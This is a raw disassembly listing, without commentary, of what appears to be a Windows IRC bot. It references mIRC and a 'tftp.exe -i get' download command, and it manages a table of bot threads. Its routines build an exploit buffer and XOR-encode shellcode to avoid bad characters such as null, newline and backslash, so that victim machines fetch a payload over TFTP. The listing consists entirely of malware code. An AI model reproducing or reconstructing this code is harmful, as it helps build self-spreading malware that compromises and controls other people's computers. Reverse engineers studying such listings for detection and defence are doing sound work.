loc_40AD74:				; CODE XREF: ___:0040AD6Bj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AD84
		mov	esi, offset dword_43160C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD84:				; CODE XREF: ___:0040AD7Bj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431608
		jz	short loc_40AD97


loc_40AD92:				; CODE XREF: ___:0040AD52j
					; ___:0040AD62j
		mov	esi, offset dword_431604


loc_40AD97:				; CODE XREF: ___:0040AD32j
					; ___:0040AD39j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_4315FC
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ADDB


loc_40ADB5:				; CODE XREF: ___:0040ADD9j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ADB5


loc_40ADDB:				; CODE XREF: ___:0040ADB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADE1	proc near		; CODE XREF: sub_40AE84+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	near ptr 26B0735h
		nop
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40AE30
		call	dword_4CB9E0
		test	eax, eax
		mov	eax, offset off_43162C
		jnz	short loc_40AE19
		mov	eax, offset byte_43DB88


loc_40AE19:				; CODE XREF: sub_40ADE1+31j
		push	eax
		push	esi
		push	offset dword_431624
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_40AE50
; ---------------------------------------------------------------------------


loc_40AE30:				; CODE XREF: sub_40ADE1+22j
		call	dword_4CB9E0
		test	eax, eax
		mov	eax, offset off_43162C
		jnz	short loc_40AE44
		mov	eax, offset byte_43DB88


loc_40AE44:				; CODE XREF: sub_40ADE1+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40AE50:				; CODE XREF: sub_40ADE1+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40AE7F
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41CBC0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 18h


loc_40AE7F:				; CODE XREF: sub_40ADE1+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40ADE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE84	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D91C


loc_40AE90:				; CODE XREF: sub_40AE84+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40AEAB
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41CA50
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AEB5
; ---------------------------------------------------------------------------


loc_40AEAB:				; CODE XREF: sub_40AE84+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40AEB5:				; CODE XREF: sub_40AE84+25j
		test	eax, eax
		jnz	short loc_40AEC7
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D9A8
		jb	short loc_40AE90
		jmp	short loc_40AED5
; ---------------------------------------------------------------------------


loc_40AEC7:				; CODE XREF: sub_40AE84+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D920[eax*4]
		pop	ecx


loc_40AED5:				; CODE XREF: sub_40AE84+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40AEE8
		push	[ebp+arg_0]
		call	sub_40ADE1
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40AEE8:				; CODE XREF: sub_40AE84+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AE84	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		push	ebx
		push	esi
		lea	eax, [ebp-0B8h]
		push	edi
		push	eax
		mov	edi, offset byte_43DB88
		mov	dword ptr [ebp-0B8h], 94h
		nop
		call	near ptr 26F0582h
		cmp	dword ptr [ebp-0B4h], 4
		push	0Ah
		pop	ebx
		jnz	short loc_40AF67
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF48
		cmp	dword ptr [ebp-0A8h], 1
		jnz	short loc_40AF38
		mov	edi, offset dword_431620


loc_40AF38:				; CODE XREF: ___:0040AF31j
		cmp	dword ptr [ebp-0A8h], 2
		jnz	short loc_40AFA3
		mov	edi, offset dword_43161C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF48:				; CODE XREF: ___:0040AF28j
		cmp	[ebp-0B0h], ebx
		jnz	short loc_40AF57
		mov	edi, offset dword_431618
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF57:				; CODE XREF: ___:0040AF4Ej
		cmp	dword ptr [ebp-0B0h], 5Ah
		jnz	short loc_40AF9E
		mov	edi, offset dword_431614
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF67:				; CODE XREF: ___:0040AF1Fj
		cmp	dword ptr [ebp-0B4h], 5
		jnz	short loc_40AF9E
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF80
		mov	edi, offset dword_431610
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF80:				; CODE XREF: ___:0040AF77j
		cmp	dword ptr [ebp-0B0h], 1
		jnz	short loc_40AF90
		mov	edi, offset dword_43160C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF90:				; CODE XREF: ___:0040AF87j
		cmp	dword ptr [ebp-0B0h], 2
		mov	edi, offset dword_431684
		jz	short loc_40AFA3


loc_40AF9E:				; CODE XREF: ___:0040AF5Ej
					; ___:0040AF6Ej
		mov	edi, offset dword_431680


loc_40AFA3:				; CODE XREF: ___:0040AF3Fj
					; ___:0040AF46j ...
		lea	eax, [ebp-0A4h]
		push	offset word_4CB88C
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFC1
		mov	esi, offset dword_43167C
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFC1:				; CODE XREF: ___:0040AFB8j
		lea	eax, [ebp-0A4h]
		push	offset a1	; "1"
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFDF
		mov	esi, offset sub_431678
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFDF:				; CODE XREF: ___:0040AFD6j
		lea	eax, [ebp-0A4h]
		push	offset dword_431674
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFFD
		mov	esi, offset dword_431670
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFFD:				; CODE XREF: ___:0040AFF4j
		lea	eax, [ebp-0A4h]
		push	offset dword_43166C
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B01B
		mov	esi, offset dword_431668
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40B01B:				; CODE XREF: ___:0040B012j
		lea	eax, [ebp-0A4h]
		push	offset dword_431664
		push	eax
		call	sub_41C2E0
		pop	ecx
		mov	esi, offset dword_431660
		test	eax, eax
		pop	ecx
		jnz	short loc_40B03C
		mov	esi, offset off_43165C


loc_40B03C:				; CODE XREF: ___:0040AFBFj
					; ___:0040AFDDj ...
		lea	eax, [ebp-0Ch]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	eax
		or	dword ptr [ebp-8], 0FFFFFFFFh
		or	dword ptr [ebp-0Ch], 0FFFFFFFFh
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	0
		call	sub_41ADD8
		pop	ecx
		push	eax
		call	sub_41CCE3
		mov	eax, [ebp-4]
		add	esp, 14h
		cmp	eax, ebx
		jge	short loc_40B086
		push	eax
		push	offset a0D	; "0%d"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	short loc_40B0AA
; ---------------------------------------------------------------------------


loc_40B086:				; CODE XREF: ___:0040B06Fj
		cmp	eax, 64h
		jge	short loc_40B098
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		push	eax
		call	sub_42635C
		jmp	short loc_40B0A7
; ---------------------------------------------------------------------------


loc_40B098:				; CODE XREF: ___:0040B089j
		push	offset a99	; "99"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360


loc_40B0A7:				; CODE XREF: ___:0040B096j
		add	esp, 0Ch


loc_40B0AA:				; CODE XREF: ___:0040B084j
		call	near ptr 26B0735h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26F0000h
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		lea	eax, [ebp-24h]
		push	edi
		mov	edi, [ebp+8]
		push	eax
		push	offset aSSSS	; "%s|%s|%s|%s|"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 1Ch
		cmp	dword_429098, esi
		jle	short loc_40B115


loc_40B0F0:				; CODE XREF: ___:0040B113j
		call	sub_41C2C2
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40B0F0


loc_40B115:				; CODE XREF: ___:0040B0EEj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B11C	proc near		; CODE XREF: sub_40B13C+Ap
					; sub_40B214+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41B9C0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_40B11C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B13C	proc near		; CODE XREF: sub_40B22B+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B11C
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40B159
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B159:				; CODE XREF: sub_40B13C+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_41B9C0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_41B9C0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_43171C, eax
		lea	eax, [edi+1]
		mov	dword_43173D, eax
		lea	eax, [edi+17h]
		mov	dword_431735, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_4316B8
		push	ebx
		mov	dword_43174B, eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_431741
		push	esi
		call	sub_41CD20
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B13C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B214	proc near		; CODE XREF: sub_40B22B+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40B11C
		push	eax
		call	sub_40B298
		add	esp, 0Ch
		retn
sub_40B214	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B22B	proc near		; CODE XREF: sub_40DCF9+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_40B214
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_40B24B
		cmp	eax, 0FFFFh
		jbe	short loc_40B24F


loc_40B24B:				; CODE XREF: sub_40B22B+17j
		xor	eax, eax
		jmp	short loc_40B294
; ---------------------------------------------------------------------------


loc_40B24F:				; CODE XREF: sub_40B22B+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_40B11C
		add	eax, 101h
		push	eax
		call	sub_41BEB5
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40B11C
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40B13C
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B3
		push	esi
		mov	edi, eax
		call	sub_41BA91
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_40B294:				; CODE XREF: sub_40B22B+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40B22B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B298	proc near		; CODE XREF: sub_40B214+Ep
					; sub_40B2B3+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40B2A1
		inc	ecx


loc_40B2A1:				; CODE XREF: sub_40B298+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40B298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2B3	proc near		; CODE XREF: sub_40B22B+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_40B2D2


loc_40B2CF:				; CODE XREF: sub_40B2B3+8j
					; sub_40B2B3+Ej ...
		inc	[ebp+arg_C]


loc_40B2D2:				; CODE XREF: sub_40B2B3+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_40B2FA
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40B2F3
		cmp	al, 0Dh
		jz	short loc_40B2F3
		cmp	al, 5Ch
		jz	short loc_40B2F3
		test	al, al
		jnz	short loc_40B2FA


loc_40B2F3:				; CODE XREF: sub_40B2B3+32j
					; sub_40B2B3+36j ...
		add	[ebp+arg_C], 100h


loc_40B2FA:				; CODE XREF: sub_40B2B3+28j
					; sub_40B2B3+3Ej
		push	[ebp+arg_C]
		call	sub_40B298
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40B312
		cmp	eax, 0FFFFh
		jbe	short loc_40B319


loc_40B312:				; CODE XREF: sub_40B2B3+56j
		xor	eax, eax
		jmp	loc_40B3B7
; ---------------------------------------------------------------------------


loc_40B319:				; CODE XREF: sub_40B2B3+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4CBB18
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_40B349


loc_40B32D:				; CODE XREF: sub_40B2B3+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_40B340
		cmp	al, 0Ah
		jz	short loc_40B340
		cmp	al, 0Dh
		jz	short loc_40B340
		cmp	al, 5Ch
		jnz	short loc_40B344


loc_40B340:				; CODE XREF: sub_40B2B3+7Fj
					; sub_40B2B3+83j ...
		inc	bl
		xor	edx, edx


loc_40B344:				; CODE XREF: sub_40B2B3+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_40B32D


loc_40B349:				; CODE XREF: sub_40B2B3+78j
		cmp	ecx, esi
		mov	byte_4CBB18, bl
		ja	short loc_40B375
		push	15h
		push	offset loc_4316A0
		push	[ebp+arg_0]
		mov	byte_4316AD, cl
		mov	byte_4316B1, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	15h
		jmp	short loc_40B396
; ---------------------------------------------------------------------------


loc_40B375:				; CODE XREF: sub_40B2B3+9Ej
		push	17h
		push	offset loc_431688
		push	[ebp+arg_0]
		mov	word_431696, cx
		mov	byte_43169B, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	17h


loc_40B396:				; CODE XREF: sub_40B2B3+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40B3B2
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_40B3A4:				; CODE XREF: sub_40B2B3+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40B3A4


loc_40B3B2:				; CODE XREF: sub_40B2B3+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_40B3B7:				; CODE XREF: sub_40B2B3+61j
		pop	esi
		leave
		retn
sub_40B2B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3BA	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E710


loc_40B3C2:				; CODE XREF: sub_40B3BA+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B3D6
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB710
		jl	short loc_40B3C2
		jmp	short loc_40B421
; ---------------------------------------------------------------------------


loc_40B3D6:				; CODE XREF: sub_40B3BA+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E710[esi]
		push	eax
		call	sub_41BFD0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E910[esi], eax
		and	dword_43E914[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E918[esi], 0
		mov	dword_43E91C[esi], eax
		and	byte_43E928[esi], 0
		pop	esi


loc_40B421:				; CODE XREF: sub_40B3BA+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B3BA	endp

; ---------------------------------------------------------------------------
byte_40B425	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2946o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 0E8006A14h, 22F4B8Ch, 555E5F90h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 43177Ch, 0FF0C75FFh, 0D2E80875h
		dd 83FFFFE3h, 0FF3314C4h, 43E710BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C54068FFh, 0E8500042h, 10D9Eh, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 8AE80875h, 83FFFFE3h,	0C68124C4h
		dd 234h, 10FE8147h, 7C004CB7h, 0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B4F5	proc near		; CODE XREF: sub_401ACD+79AAp
					; sub_40B583+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B57D
		cmp	esi, 400h
		jge	short loc_40B57D
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E924[esi]
		lea	edi, dword_43E924[esi]
		call	near ptr 26B0817h
		nop
		cmp	[edi], ebx
		jz	short loc_40B52D
		push	1
		pop	ebp


loc_40B52D:				; CODE XREF: sub_40B4F5+33j
		mov	[edi], ebx
		lea	edi, dword_43E918[esi]
		mov	dword_43E910[esi], ebx
		mov	dword_43E914[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B54E
		push	eax
		call	sub_419F16
		pop	ecx


loc_40B54E:				; CODE XREF: sub_40B4F5+50j
		mov	[edi], ebx
		lea	edi, dword_43E91C[esi]
		mov	byte ptr dword_43E710[esi], bl
		mov	byte_43E928[esi], bl
		push	dword ptr [edi]
		call	dword_4CBA6C
		lea	esi, dword_43E920[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CBA6C
		mov	[esi], ebx
		pop	edi


loc_40B57D:				; CODE XREF: sub_40B4F5+Dj
					; sub_40B4F5+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B4F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B583	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E710


loc_40B58F:				; CODE XREF: sub_40B583+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B5A0
		push	edi
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5A0
		inc	ebx


loc_40B5A0:				; CODE XREF: sub_40B583+Fj
					; sub_40B583+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB710
		jl	short loc_40B58F
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B583	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5B5	proc near		; CODE XREF: sub_401ACD+41B2p
					; sub_401ACD+4302p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E914


loc_40B5C9:				; CODE XREF: sub_40B5B5+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B5EB
		test	edi, edi
		jle	short loc_40B5DD
		cmp	[esi], edi
		jz	short loc_40B5DD
		cmp	ebx, edi
		jnz	short loc_40B5EB


loc_40B5DD:				; CODE XREF: sub_40B5B5+1Ej
					; sub_40B5B5+22j
		push	ebx
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5EB
		inc	[ebp+var_4]


loc_40B5EB:				; CODE XREF: sub_40B5B5+1Aj
					; sub_40B5B5+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB914
		jl	short loc_40B5C9
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B5B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B602	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+95Ep ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E910


loc_40B609:				; CODE XREF: sub_40B602+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B612
		inc	eax


loc_40B612:				; CODE XREF: sub_40B602+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB910
		jl	short loc_40B609
		retn
sub_40B602	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B621	proc near		; CODE XREF: sub_401ACD+23D9p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E910


loc_40B62B:				; CODE XREF: sub_40B621+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B644
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB910
		jl	short loc_40B62B
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B644:				; CODE XREF: sub_40B621+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B648	proc near		; CODE XREF: sub_401ACD+123Dp
					; sub_401ACD+125Bp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B661
		push	[ebp+arg_1C]
		call	sub_41C159
		pop	ecx


loc_40B661:				; CODE XREF: sub_40B648+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B5B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B68D
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_40B6A7
; ---------------------------------------------------------------------------


loc_40B68D:				; CODE XREF: sub_40B648+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_40B6A7:				; CODE XREF: sub_40B648+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B6C7
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40B6C7:				; CODE XREF: sub_40B648+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		leave
		retn
sub_40B648	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6D6	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BD0Bp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E924[eax], ecx
		mov	dword_43E910[eax], ecx
		mov	dword_43E914[eax], ecx
		mov	dword_43E918[eax], ecx
		mov	dword_43E91C[eax], ecx
		mov	dword_43E920[eax], ecx
		mov	byte ptr dword_43E710[eax], cl
		mov	byte_43E928[eax], cl
		retn
sub_40B6D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B713	proc near		; CODE XREF: sub_401ACD+7C2Bp
					; sub_40B841+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B71D:				; CODE XREF: sub_40B713+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B77D
		cmp	eax, 1
		jnz	short loc_40B77D
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B77D
		cmp	cl, 2Ah
		jz	short loc_40B764
		cmp	cl, 3Fh
		jz	short loc_40B747
		cmp	cl, 5Bh
		jz	short loc_40B74C
		xor	eax, eax
		cmp	cl, dl
		setz	al


